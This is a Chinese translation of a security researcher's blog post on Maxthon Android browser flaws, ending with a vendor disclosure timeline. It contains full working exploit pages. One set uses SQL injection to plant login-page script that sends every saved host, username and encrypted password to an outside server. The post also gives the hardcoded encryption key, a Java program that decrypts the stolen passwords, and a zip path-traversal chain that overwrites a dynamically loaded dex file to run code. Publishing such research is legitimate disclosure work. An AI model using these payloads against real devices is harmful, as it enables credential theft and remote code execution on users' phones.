接上篇,本篇翻譯自原文后部分,本文有增改
原文:http://d3adend.org/blog/?p=851
原作者:Neil Bergman
譯:Holic (知道創宇404安全實驗室)
尋找客戶端 SQL 注入漏洞
目前為止我們已經使用 catchform 方法來利用 UXSS 漏洞,但是利用暴露的 catchform 方法在 mxbrowser_default 數據庫中觸發客戶端 SQL 注入也是可行的,這可以遠程破壞數據庫的完整性和機密性。
考慮到下面的代碼取自 com.mx.browser.a.f 類。當域的用戶名/密碼行不存在時,使用參數化的 SQL 語句將數據插入本地數據庫。當該域的用戶名/密碼行已經存在時,使用動態字符串鏈接構建 UPDATE SQL 語句。惡意網頁控制 b 變量(用戶名)和 a 變量(host),但不直接控制 c 變量(密碼),因為密碼是被加密編碼過的。
Cursor v1;
SQLiteDatabase v0 = g.a().d();
String v2 = "select * from mxautofill where host =?";
h.f();
try {
v1 = v0.rawQuery(v2, new String[]{this.a});
if(v1.getCount() <= 0) {
ContentValues v2_1 = new ContentValues();
v2_1.put("host", this.a);
v2_1.put("username", this.b);
v2_1.put("password", this.c);
v0.insert("mxautofill", null, v2_1);
}
else {
v1.moveToFirst();
v1.getColumnIndexOrThrow("host");
v2 = "update mxautofill set username = \'" + this.b + "\',passwrd = \'" + this.c + "\' where host = \'" + this.a + "\'";
h.f();
v0.execSQL(v2);
}
}
通過 SQL 注入篡改數據庫,在所有保存過的域下觸發登錄頁面 UXSS
考慮到我們能夠注入的 SQL 語句是一個 UPDATE 語句,作用是更改一個域下的填充信息,可以想到最簡單的利用方法便是操縱 UPDATE 語句篡改所有保存的自動填充信息,配合設計好的數據來利用登錄頁面 UXSS 漏洞。這個漏洞可以讓我們在每個受害者常用的登錄頁面注入 JavaScript(假設受害者使用自動填充功能)。
我構建了以下 HTML 頁面,通過調用 catchform 方法來利用 SQL 漏洞。注意我們利用漏洞必須嘗試使用瀏覽器之前存儲的信息來自動填充信息,因為 SQL 注入與 UPDATE 語句相關聯,而不是最初的 INSERT 語句。因此攻擊者可能選擇流行的 URL 作為 documentURI 的值。
<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginsqltest@gmail.com\'\'-alert(\'\'SqlTest:\'\'+document.domain)-\'\'\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>
當用戶訪問惡意頁面時,會提示用戶“save your account?”,并且用戶必須在 SQL 注入漏洞被利用之前點擊 “Yes”。

—— 一些用戶交互
然后瀏覽器執行以下 SQL 語句。請注意,我們在用戶名字段注入我們的 JavaScript,然后使用 SQL 注入注釋掉其它的 SQL 語句,包括 WHERE 子語句,以便將更新限制為只有一行。
update mxautofill set username = 'loginsqltest@gmail.com''-alert(''SqlTest:''+document.domain)-'''-- ',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'
檢測設備上的 SQLite 數據庫我們看到我們已經成功更新了 mxautofill 表中的所有行。

—— 本地 SQLite 數據庫已被篡改
下一次,當受害者訪問存儲自動填充信息的域名之一的登錄頁面時,我們的 JavaScript 代碼通過 WebView 的 loadUrl 方法執行。
javascript:mx_form_fill('loginsqltest@gmail.com'-alert('SqlTest:'+document.domain)-'','fakepassword')

—— 當受害者瀏覽 Twitter 或者 Google 的登錄頁面時 ,JS payload 得以觸發
使用 SQL 注入和登錄頁面 UXSS 提取敏感數據
如果我們要從mxautofill表遠程提取所有的用戶名和加密密碼怎么辦?我構造了以下 HTML 頁面利用 SQL 漏洞實現了目標。基本上,我們將使用內部查詢構建一個 JavaScript 字符串,其中包括存儲在表中的所有主機,用戶名和加密過的密碼。然后我們使用登錄頁面 UXSS 漏洞和 AJAX 從設備竊取信息。
<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"\'\');var request=new XMLHttpRequest();dataToSteal=\'\'\'||(SELECT GROUP_CONCAT(host||\':\'||username||\':\'||password) from mxautofill)||\'\'\';request.open(\'\'GET\'\',\'\'http://d3adend.org/c.php?c=\'\'+dataToSteal,false);request.send();//\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>
當用戶訪問惡意頁面時,會提示用戶“sava your account?”,而且 利用SQL 注入漏洞之前用戶必須點擊“Yes”。

—— 點擊“Yes”
瀏覽器接下來會執行以下 SQL 語句。
update mxautofill set username = ''');var request=new XMLHttpRequest();dataToSteal='''||(SELECT GROUP_CONCAT(host||':'||username||':'||password) from mxautofill)||''';request.open(''GET'',''http://d3adend.org/c.php?c=''+dataToSteal,false);request.send();//'--',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'
mxautofill 表中的所有行都已經在客戶端數據庫中更新。

—— 所有記錄都均被修改
當受害者訪問有自動填充信息的域登錄頁面時,我們的 JavaScript 代碼得以執行。在實際使用過程中, dataToSteal 變量將包含真實的賬戶憑據。
javascript:mx_form_fill('');var request=new XMLHttpRequest(); dataToSteal='acccount_1_hostname:account_1_username:account_1_encrypted_password, acccount_2_hostname:account_2_username:account_2_encrypted_password,etc.'; request.open('GET','http://d3adend.org/c.php?c='+dataToSteal,false);request.send();//'','fakepassword')

—— 不可見的漏洞利用得以執行
—— 域名,用戶名和加密的密碼通過 AJAX 發送到攻擊者控制的服務器。
因此,我們現在有了來自受害者的 mxautofill 表的主機名,用戶名和加密密碼,但我們需要解密密鑰。為了獲取加密密鑰,我僅使用了一個自定義的 Xposed 模塊在兩個不同的設備上來 hook 一個與自動填充功能相關的加密方法調用。在兩個設備上, Maxthon 使用了相同的硬編碼密鑰(“eu3o4[r04cml4eir”)進行密碼存儲。
幾個月后,我抱著一絲希望搜索了 “eu3o4[r04cml4eir”,卻發現了 Exatel 的一些有趣的關于 windows 版本的 Maxthon 的隱私安全研究。他們的結論是“整個用戶的網站瀏覽歷史會到達位于北京的 Maxthon 作者的服務器,還包括所有輸入的 Google 搜索記錄”。瀏覽器的桌面版本使用相同的加密密鑰加密用戶的瀏覽歷史,正如我在 Android 版本所發現的那樣。開發者團隊在面對用戶時并不承認任何錯誤, CEO 隨后發表聲明。
“Exatel 還報告說,Maxthon 將 URL 發送回其服務器。正如所有 URL 的安全檢查工作,Maxthon 的云安全掃描模塊(cloud secure)檢測用戶所訪問的網站的安全性。通過執行 URL 安全檢測,Maxthon 向其服務器發送 URL 以檢測網站是否安全。由于這些安全檢查的存在,自2005年以來我們已經阻止了用戶訪問數百萬的虛假網站和惡意網站。在我們的最新版本中,我們將添加一個選項,可供用戶關閉掃描模塊。”
(原文)
“Exatel also reported that Maxthon sends URLs back to its server. Just as all URL security checks work, Maxthon’s cloud security scanner module (cloud secure) checks the safety of the websites our users visit. By implementing this URL security check, Maxthon sends URLs to its server to check if the website is safe or not. As a result of these security checks, we have prevented our users from visiting millions of fake and malicious websites since 2005. In our latest version, we will add an option for users to turn off the scanner.”
我不確定我相信這個功能實際上實際上是一個“云安全掃描器”,像 CEO 聲稱,但不管其意圖,通過 HTTP 使用硬編碼密鑰發送加密的瀏覽器歷史紀錄可不是個好主意。在 Android 的版本的瀏覽器中,我還發現了類似的功能在 com.mx.browser.statistics.z 類中。這里需要注意,以下代碼將加密的“統計”數據發送到同一個 URL ,并且像 Exatel 的研究中顯示的那樣使用相同的加密密鑰。
final class z extends AsyncTask {
z(PlayCampaignReceiver arg1, String arg2) {
this.b = arg1;
this.a = arg2;
super();
}
private Void a() {
JSONObject v0 = new JSONObject();
try {
v0.put("l", ch.r);
v0.put("sv", ch.e);
v0.put("cv", ch.l);
v0.put("pn", ch.g);
v0.put("d", ch.e());
v0.put("pt", "gp_install");
v0.put("m", "main");
JSONObject v1 = new JSONObject();
v1.put("imei", ch.m);
v1.put("refer", this.a);
v1.put("aid", ch.n);
v1.put("model", ch.p);
v1.put("mac", ch.u);
v0.put("data", v1);
new StringBuilder("before = ").append(v0).toString();
String v0_3 = Uri.encode(new String(Base64.encode(a.a(v0.toString(), "eu3o4[r04cml4eir"), 2), "UTF-8"));
new StringBuilder("after urlencode =").append(v0_3).toString();
y v1_1 = new y();
v0_3 = "http://g.dcs.maxthon.com/mx4/enc?keyid=default&data=" + v0_3;
new StringBuilder("url=").append(v0_3).append(";response = ").append(v1_1.a(v0_3, 3).getStatusLine().getStatusCode()).toString();
}
反正已經跑題了。那就干脆把通過客戶端 SQL 注入和登陸頁面 UXSS 漏洞獲取的密碼給破解了吧。在寫出加密算法,加密模式和密鑰之后,我寫了以下簡單的 Java 程序。
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class MaxDecrypt {
public static void main(String[] args) throws Exception {
String rawUserDataArg = args[0];
System.out.println("");
if(rawUserDataArg != null) {
String[] rawUserDataArray = rawUserDataArg.split(",");
for(String rawUserData : rawUserDataArray) {
String host = rawUserData.split(":")[0];
String username = rawUserData.split(":")[1];
String encryptedPassword = rawUserData.split(":")[2];
String decryptedPassword = decrypt(encryptedPassword);
System.out.println("====================================");
System.out.println("Host: " + host);
System.out.println("Username: " + username);
System.out.println("Password: " + decryptedPassword);
}
System.out.println("====================================");
}
}
public static String decrypt(String ciphertext) throws Exception {
SecretKeySpec sks = new SecretKeySpec("eu3o4[r04cml4eir".getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
Base64.Decoder decoder = Base64.getDecoder();
byte[] ciphertextBytes = decoder.decode(ciphertext);
cipher.init(Cipher.DECRYPT_MODE, sks);
byte[] plaintextBytes = cipher.doFinal(ciphertextBytes);
return new String(plaintextBytes);
}
}

—— 解密獲取到的憑據
任意文件寫入漏洞 - 越過遠程執行代碼的障礙
一般來說,在 Android 操作系統中,非特權應用的任意文件寫入漏洞很難變成遠程代碼執行。
1) 應用程序主要 dex 代碼,或 OAT 進程的輸出由系統用戶所有,因此在正常情況下不應該覆蓋此代碼。
2) 應用程序的存儲 ELF 共享對象的 lib 目錄,實際上是一個鏈接到所有者為系統用戶目錄,所以正常情況下不太可能覆蓋這些代碼。
話雖如此,在很多情況下,任意文件寫入漏洞可以很容易地變成遠程代碼執行漏洞。
1)目標應用程序通過 DexClassLoader 類執行動態類加載,并且可以覆蓋存儲的dex代碼。
2)目標應用程序不正確存儲其ELF共享對象文件,使得這些文件不屬于系統用戶。 Jake Van Dyke 和 rotlogix 都提到了 SO 全局可寫的應用范例,這允許根據情況進行本地或遠程利用。
3) 目標應用程序以 系統用戶權限運行。
4) 目標應用程序是 multidex 應用,且不在使用 ART 運行環境的設備上運行。
我最初確定這些漏洞時我不相信這些條件有那條成立,但幾個月后,當一個較新版本的發布時,我注意到一些新的軟件包被添加到代碼庫,包括 com.igexin.。這顯然是一個被賽門鐵克標記為不需要的應用程序的廣告庫,其綁定了一些會收集用戶信息的 Android 應用,而且應用會把這些信息發送到服務器。事實證明,這個廣告使用了 DexClassLoader 類執行加密代碼的動態庫加載,所以我們可以利用這個功能,通過任意文件寫入漏洞來實現遠程代碼執行。
在新版本的瀏覽器中,我注意到 /data/data/com.mx.browser/files 目錄中看起來很奇怪的新文件,如 tdata_qiz011,tdata_qiz011.dex,tdata_rqS304和 tdata_rqS304.dex。
注意雖然文件名看起來貌似隨機生成,在多個設備上安裝應用程序后,我注意到文件名不是根據設備特定生成的。

—— 包含優化 dex 文件的可疑文件

—— 未知的文件格式和優化的 dex 文件
我決定調查 tdata_rqS304 里面有什么東西。我懷疑這是一個加密的 JAR/APK 文件,但我不確定。

—— 加密過的 APK/JAR ?
執行動態類加載的代碼位于 com.igexin.push.extension.a 類中。代碼似乎加載了一個文件,比如 tdata_rqS04 ,解密到一個 JAR 文件,如 tdata_reS304.jar ,從 JAR 文件中加載一個類,創建一個類的實例(調用構造函數),然后刪除原 JAR 文件(使其逆向工程中隱藏)。我猜測 com.igexin.a.a.a.a.a 是解密方法。
public boolean a(Context arg10, String arg11, String arg12, String arg13, String arg14) {
Class v0_1;
File v2 = new File(arg11);
File v3 = new File(arg11 + ".jar");
File v4 = new File(arg10.getFilesDir().getAbsolutePath() + "/" + arg14 + ".dex");
this.a(v2, v3, arg13);
if(v3.exists()) {
try {
DexClassLoader v2_1 = new DexClassLoader(v3.getAbsolutePath(), arg10.getFilesDir().getAbsolutePath(), null, arg10.getClassLoader());
try {
v0_1 = v2_1.loadClass(arg12);
}
catch(Exception v2_2) {
}
}
catch(Throwable v0) {
goto label_74;
}
try {
v3.delete();
v4.exists();
if(v0_1 == null) {
boolean v0_2 = false;
return v0_2;
}
Object v0_3 = v0_1.newInstance();
...
public void a(File arg10, File arg11, String arg12) {
BufferedOutputStream v1_5;
Throwable v8;
int v1_1;
FileInputStream v2;
BufferedOutputStream v0_2;
FileOutputStream v2_1;
FileInputStream v3;
FileOutputStream v1 = null;
try {
v3 = new FileInputStream(arg10);
}
catch(Throwable v0) {
v2_1 = v1;
v3 = ((FileInputStream)v1);
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1);
v2 = ((FileInputStream)v1);
goto label_22;
}
try {
v2_1 = new FileOutputStream(arg11);
}
catch(Throwable v0) {
v2_1 = v1;
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1);
v2 = v3;
goto label_22;
}
try {
v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
v1_1 = 1024;
}
catch(Throwable v0) {
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1_1);
v1 = v2_1;
v2 = v3;
goto label_22;
}
try {
byte[] v1_4 = new byte[v1_1];
while(true) {
int v4 = v3.read(v1_4);
if(v4 == -1) {
break;
}
byte[] v5 = new byte[v4];
System.arraycopy(v1_4, 0, v5, 0, v4);
v0_2.write(com.igexin.a.a.a.a.a(v5, arg12));
}
com.igenxin.a.a.a.a 類使用本地加密算法執行解密。輸入驗證至關重要("key is fail!")。
package com.igexin.a.a.a;
public class a {
public static void a(int[] arg2, int arg3, int arg4) {
int v0 = arg2[arg3];
arg2[arg3] = arg2[arg4];
arg2[arg4] = v0;
}
public static boolean a(byte[] arg6) {
boolean v0_1;
int v3 = arg6.length;
if(v3 256) {
v0_1 = false;
}
else {
int v2 = 0;
int v0 = 0;
while(v2 3) {
v0_1 = false;
return v0_1;
}
}
++v2;
}
v0_1 = true;
}
return v0_1;
}
public static byte[] a(byte[] arg1, String arg2) {
return a.a(arg1, arg2.getBytes());
}
public static byte[] a(byte[] arg7, byte[] arg8) {
int v1 = 0;
if(!a.a(arg8)) {
throw new IllegalArgumentException("key is fail!");
}
if(arg7.length <= 0) {
throw new IllegalArgumentException("data is fail!");
}
int[] v3 = new int[256];
int v0;
for(v0 = 0; v0 < v3.length; ++v0) {
v3[v0] = v0;
}
v0 = 0;
int v2 = 0;
while(v0 < v3.length) {
v2 = (v2 + v3[v0] + (arg8[v0 % arg8.length] & 255)) % 256;
a.a(v3, v0, v2);
++v0;
}
byte[] v4 = new byte[arg7.length];
v0 = 0;
v2 = 0;
while(v1 < v4.length) {
v0 = (v0 + 1) % 256;
v2 = (v2 + v3[v0]) % 256;
a.a(v3, v0, v2);
v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ arg7[v1]));
++v1;
}
return v4;
}
public static byte[] b(byte[] arg1, String arg2) {
return a.a(arg1, arg2.getBytes());
}
}
所以現在我們知道如何揭秘 JAR 文件了,但是我們需要知道加密密鑰。我又通過 Xposed 使用了模塊動態分析來卻id那個每個文件使用了哪個加密密鑰以及加載了哪個類。以下是我從 tdata_rqS304 文件中獲取到的信息。我還在不同設備驗證了加密密鑰不是針對特定設備的。例如,加密庫使用“5f8286ee3424bed2b71f66d996b247b8”作為密鑰來解密 tdata_rqS304 文件。
Method Caller: com.igexin.push.extension.a@420bfd48
Argument Types: com.igexin.sdk.PushService, java.lang.String, java.lang.String, java.lang.String, java.lang.String
Argument 0: com.igexin.sdk.PushService@420435b8
Argument 1: /data/data/com.mx.browser/files/tdata_rqS304
Argument 2: com.igexin.push.extension.distribution.basic.stub.PushExtension
Argument 3: 5f8286ee3424bed2b71f66d996b247b8
Argument 4: tdata_rqS304
現在我們用于了解密文件并檢查 JAR 文件的所有信息。以下 Java 程序將揭秘 tdata_rqS304 文件。
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
public class MaxDexDecrypt {
public static void main(String[] args) throws Exception {
String ciphertextFilename = "tdata_rqS304";
String plaintextFilename = "tdata_rqS304.jar";
String keyString = "5f8286ee3424bed2b71f66d996b247b8";
File ciphertextFile = new File(ciphertextFilename);
File plaintextFile = new File(plaintextFilename);
decryptFile(ciphertextFile, plaintextFile, keyString);
}
public static void decryptFile(File ciphertextFile, File plaintextFile, String keyString) {
BufferedOutputStream v1_5;
Throwable v8;
int v1_1;
FileInputStream v2;
BufferedOutputStream v0_2;
FileOutputStream v2_1;
FileInputStream v3;
FileOutputStream v1 = null;
try {
v3 = new FileInputStream(ciphertextFile);
v2_1 = new FileOutputStream(plaintextFile);
v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
v1_1 = 1024;
byte[] v1_4 = new byte[v1_1];
while(true) {
int v4 = v3.read(v1_4);
if(v4 == -1) {
break;
}
byte[] v5 = new byte[v4];
System.arraycopy(v1_4, 0, v5, 0, v4);
v0_2.write(decrypt(v5, keyString));
}
v3.close();
v0_2.flush();
v0_2.close();
v2_1.close();
v3.close();
v0_2.close();
v2_1.close();
}
catch(Exception v0_1) {
}
}
public static void junk(int[] arg2, int arg3, int arg4) {
int v0 = arg2[arg3];
arg2[arg3] = arg2[arg4];
arg2[arg4] = v0;
}
public static byte[] decrypt(byte[] ciphertextBytes, String keyString) {
return decrypt(ciphertextBytes, keyString.getBytes());
}
public static byte[] decrypt(byte[] ciphertextBytes, byte[] keyBytes) {
int v1 = 0;
int[] v3 = new int[256];
int v0;
for(v0 = 0; v0 < v3.length; ++v0) {
v3[v0] = v0;
}
v0 = 0;
int v2 = 0;
while(v0 < v3.length) {
v2 = (v2 + v3[v0] + (keyBytes[v0 % keyBytes.length] & 255)) % 256;
junk(v3, v0, v2);
++v0;
}
byte[] v4 = new byte[ciphertextBytes.length];
v0 = 0;
v2 = 0;
while(v1 < v4.length) {
v0 = (v0 + 1) % 256;
v2 = (v2 + v3[v0]) % 256;
junk(v3, v0, v2);
v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ ciphertextBytes[v1]));
++v1;
}
return v4;
}
}
解密有效!

—— 解密成功,只是個有一些 dex 代碼的 JAR 文件

—— 現在我們可以反編譯代碼了
利用任意文件寫入三 - 遠程代碼執行
這時,所有要點聚在一起,我意識到通過任意文件寫入漏洞遠程執行代碼是可行的。
1) 創建我們的 Java 代碼然后將它編譯至 APK 文件。
2) 使用 igexin 的超級 XOR 加密算法加密我們的 APK 文件,使用“5f8286ee3424bed2b71f66d996b247b8” 作為我們的加密密鑰。
3) 創建一個 zip 文件,用來覆蓋瀏覽器的 tdata_tqS304 文件(加密的 JAR 文件)。
4)欺騙受害者瀏覽一個能觸發 installWebApp 方法的惡意頁面,這會使受害者的瀏覽器下載并解壓縮我們的zip文件。
此時,受害者的 tdata_rqS304 文件將替換為我們制作的文件。
5)下次瀏覽器再次啟動時(可能在移動設備重新啟動后),我們的代碼將被解密,加載然后執行。
廣告庫從 tdata_rqS304 文件加載 com.igexin.push.extension.distribution.basic.stub.PushExtension 類,像前面說過的,我們要做的是創建一個帶有以下類的 APK。
package com.igexin.push.extension.distribution.basic.stub;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import android.util.Log;
public class PushExtension {
public PushExtension() {
Log.wtf("MAX", "Java code execution!");
try {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("id");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) {
Log.wtf("MAX", s);
}
}
catch(Exception e) { }
}
}
接下來,我們需要加密APK文件。
我們實際上可以重復使用之前開發的解密程序來執行,已經提供了本地加密算法(dec(cipher_text,key)== plaintext / dec(plaintext,key)== cipher_text)。
...
public static void main(String[] args) throws Exception {
String ciphertextFilename = "exploit/MaxJunkExploit.apk";
String plaintextFilename = "exploit/tdata_rqS304";
String keyString = "5f8286ee3424bed2b71f66d996b247b8";
File ciphertextFile = new File(ciphertextFilename);
File plaintextFile = new File(plaintextFilename);
decryptFile(ciphertextFile, plaintextFile, keyString);
}
...
同理,我們使用 Python 代碼來構建 zip 文件。
import zipfile
import sys
if __name__ == "__main__":
try:
with open("tdata_rqS304", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("maxFileWriteToRce9313.zip", "a", zipfile.ZIP_DEFLATED)
zipFile.writestr("../../../../../data/data/com.mx.browser/files/tdata_rqS304", binary)
zipFile.close()
except IOError as e:
raise e
然后我們制作調用 installWebApp 方法的 HTML 頁面。
<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToRce9313.zip");
</script>
</body>
</html>
此時如果受害者使用 Maxthon 瀏覽器訪問惡意頁面,那么他們的加密 JAR 文件(tdata_rqS304)將被我們制作的 JAR 文件覆蓋。

—— 校驗 “webapp” 已安裝
我們的 Java payload 將在下次瀏覽器重新啟動時解密并執行。執行類加載的代碼會嘗試使用 IPushExtension 接口轉換對象,該操作會失敗,但是我們的代碼在構造函數中已經執行,并且類加載已經代碼正常處理該異常,所以瀏覽器工作正常不會崩潰。

—— 執行遠程代碼完畢
漏洞披露流程
- 2/12/16 – 向廠商公開任意文件寫入/遠程代碼執行漏洞。
- 2/14/16 – 向廠商公開登錄頁 UXSS 漏洞和 SQL 注入漏洞。
- 2/15/16 – 廠商回應說所有問題已修復。提供了本地服務器上的新 APK 的鏈接。
- 2/15/16 – 要求供應商直接發送修復后的 APK ,或直接在公網服務器上提供訪問。
- 2/18/16 – 廠商提供新 APK 的公網鏈接。
- 2/18/16 – 通知廠商修復程序未正確解決所有問題 (僅解決部分問題)。
- 2/19/16 – 廠商聲明他們正在研究。
- 3/8/16 – 詢問廠商的狀態。
- 3/9/16 – 廠商聲明所有問題已修復,但不提供新的 APK 進行審計。
- 5/9/16 – 廠商在 Google Play 上發布了補丁(“bugs fixed”)。
- 5/30/16 – 通知廠商補丁并未正確解決所謂問題(此時只解決了兩個問題)。
- 5/31/16 – 廠商表示我的評論正在接受審核(自動回復)。沒有后續回應。
- 7/6/16 – 向廠商查詢狀態,沒有回應。
- 11/5/16 – 再一次向廠商查詢狀態,沒有回應。
這時廠商已經不再做出響應,而且只有一些問題被修復。
- 舊設備(<4.2)上的原創代碼執行漏洞 - 并未修復。廠商標記為“不再修復”。
- 任意文件寫入,可以導致任何設備遠程代碼執行 - 沒有修復。
- 登錄頁 UXSS - 看起來是修復了(一些域名驗證,但是沒有對輸出進行編碼)
- SQL 注入 - 看起來修復了(使用參數化的 SQL 語句)。
其中一個補丁試圖根據域名限制哪些網頁可以使用 installWebApp 方法。
@JavascriptInterface public void installWebApp(String arg4) {
URI v0 = URI.create(arg4);
if((v0.getHost().endsWith("maxthon.com")) || (v0.getHost().endsWith("maxthon.cn"))) {
String v0_1 = x.a(arg4);
p.a(arg4, "/sdcard/webapp/" + v0_1, null);
y.b("/sdcard/webapp/" + v0_1);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}
}
以前的代碼有多個問題,我已多次向廠商指出。
1) 從 thisisevilmaxthon.com (以 “maxthon.com”結尾)提供的 JavaScript 仍然可以直接利用任意文件寫入漏洞。
2) 該 zip 文件仍然可以通過 HTTP 提供,因此內網攻擊者可以強制通過 HTTP 從 maxthon.com 下載一個 zip 文件,然后 MiTM(中間人工具)劫持流量,以間接利用任意文件寫入漏洞。
結論
-
遠程 SQL 注入對移動應用是一件事,但是鑒于 SQLite 的限制,提取數據方面可能存在一些問題。
-
移動應用仍在通過 JavaScript 接口暴露有趣的行為,但是我們將不得不花費更多時間逆向目標應用程序以找出安全隱患
-
通過動態類加載進行混淆使用可能會導致意想不到的安全隱患
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/109/
暫無評論